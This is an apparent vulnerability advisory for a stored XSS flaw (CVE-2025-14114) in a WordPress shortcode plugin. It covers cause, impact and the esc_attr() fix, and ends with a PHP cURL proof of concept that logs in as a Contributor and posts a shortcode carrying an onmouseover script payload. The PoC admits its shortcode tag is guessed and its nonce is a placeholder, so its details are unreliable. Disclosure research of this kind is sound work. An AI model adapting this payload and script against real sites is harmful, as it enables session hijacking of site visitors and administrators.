Atomic Edge analysis of CVE-2025-14114 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the 1180px Shortcodes WordPress plugin. The ‘class’ attribute of the plugin’s shortcode handler lacks proper output escaping, allowing Contributor-level or higher authenticated users to inject arbitrary JavaScript into pages. The injected scripts execute in the context of any user viewing the compromised page, leading to client-side attacks.
Atomic Edge research infers the root cause is insufficient output escaping on the ‘class’ shortcode attribute value. The CWE-79 classification confirms improper neutralization of input during web page generation. The vulnerability description states the issue stems from insufficient input sanitization and output escaping. Without access to the patched or vulnerable code, this conclusion is based on the CWE and standard WordPress shortcode handling patterns. The plugin likely uses the `add_shortcode()` function and directly echoes or returns the unsanitized ‘class’ attribute value without using `esc_attr()`.
Exploitation requires an authenticated user with at least Contributor privileges. The attacker creates or edits a post or page, inserting the vulnerable shortcode with a malicious ‘class’ attribute payload. For example, [1180px_shortcode class=”xss” onmouseover=”alert(document.cookie)”] could be used. The payload is stored in the database. When the page renders, the plugin outputs the attribute without escaping, causing script execution for any visitor. The attack vector is the WordPress post editor, targeting the shortcode parsing mechanism.
Effective remediation requires implementing proper output escaping on the shortcode attribute. The plugin should use the `esc_attr()` function when outputting the ‘class’ attribute value within HTML. Input sanitization via `sanitize_text_field()` may also be applied, but output escaping is the primary defense for XSS. A secure patch would wrap the attribute value in an escaping function before inclusion in the generated HTML markup.
Successful exploitation allows attackers to perform actions within the victim’s browser session. This can lead to session hijacking, administrative actions performed by administrators, content defacement, or redirection to malicious sites. The stored nature of the XSS means a single injection can affect many users. The CVSS vector indicates scope change (S:C), meaning the vulnerability can impact users other than the attacker, and the impacts are confidentiality and integrity loss.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14114 - 1180px Shortcodes <= 1.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'class' Shortcode Attribute
<?php
/**
* Proof of Concept for CVE-2025-14114.
* This script simulates an authenticated Contributor user injecting a stored XSS payload
* via the 'class' attribute of a 1180px Shortcodes shortcode.
* Assumptions:
* 1. The target site has the vulnerable plugin (<=1.1.1) active.
* 2. Valid Contributor credentials are available.
* 3. The plugin's shortcode tag is inferred as '1180px_shortcode' based on the plugin slug.
* 4. The attack is performed via the standard WordPress post creation/editing flow.
*/
$target_url = 'https://example.com/wp-login.php';
$username = 'contributor_user';
$password = 'contributor_pass';
$payload = '" onmouseover="alert(`XSS`)"';
// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate to WordPress
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
$postFields = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
$response = curl_exec($ch);
// Step 2: Create a new post (Contributor posts require review)
$create_post_url = 'https://example.com/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $create_post_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract the nonce for the post creation (simplified - real PoC would parse HTML)
// This step assumes we have obtained a valid nonce from the page.
$nonce = 'POST_CREATION_NONCE';
$post_title = 'Test Post with XSS';
$post_content = '[1180px_shortcode class=' . $payload . '] This is a shortcode test. [/1180px_shortcode]';
// Step 3: Submit the post with the malicious shortcode
$submit_post_url = 'https://example.com/wp-admin/post.php';
curl_setopt($ch, CURLOPT_URL, $submit_post_url);
curl_setopt($ch, CURLOPT_POST, true);
$postFields = http_build_query([
'post_title' => $post_title,
'content' => $post_content,
'post_type' => 'post',
'post_status' => 'pending', // Contributor posts are pending review
'_wpnonce' => $nonce,
'action' => 'editpost',
'post_ID' => '' // New post
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
$response = curl_exec($ch);
// Check for success (simplified)
if (strpos($response, 'Post submitted') !== false || strpos($response, 'pending review') !== false) {
echo "[+] Potential XSS payload injected via shortcode. The post is pending review.n";
echo "[+] When an admin views the post, the onmouseover script may execute.n";
} else {
echo "[-] Injection may have failed. Check credentials, nonce, and plugin activation.n";
}
curl_close($ch);
?>
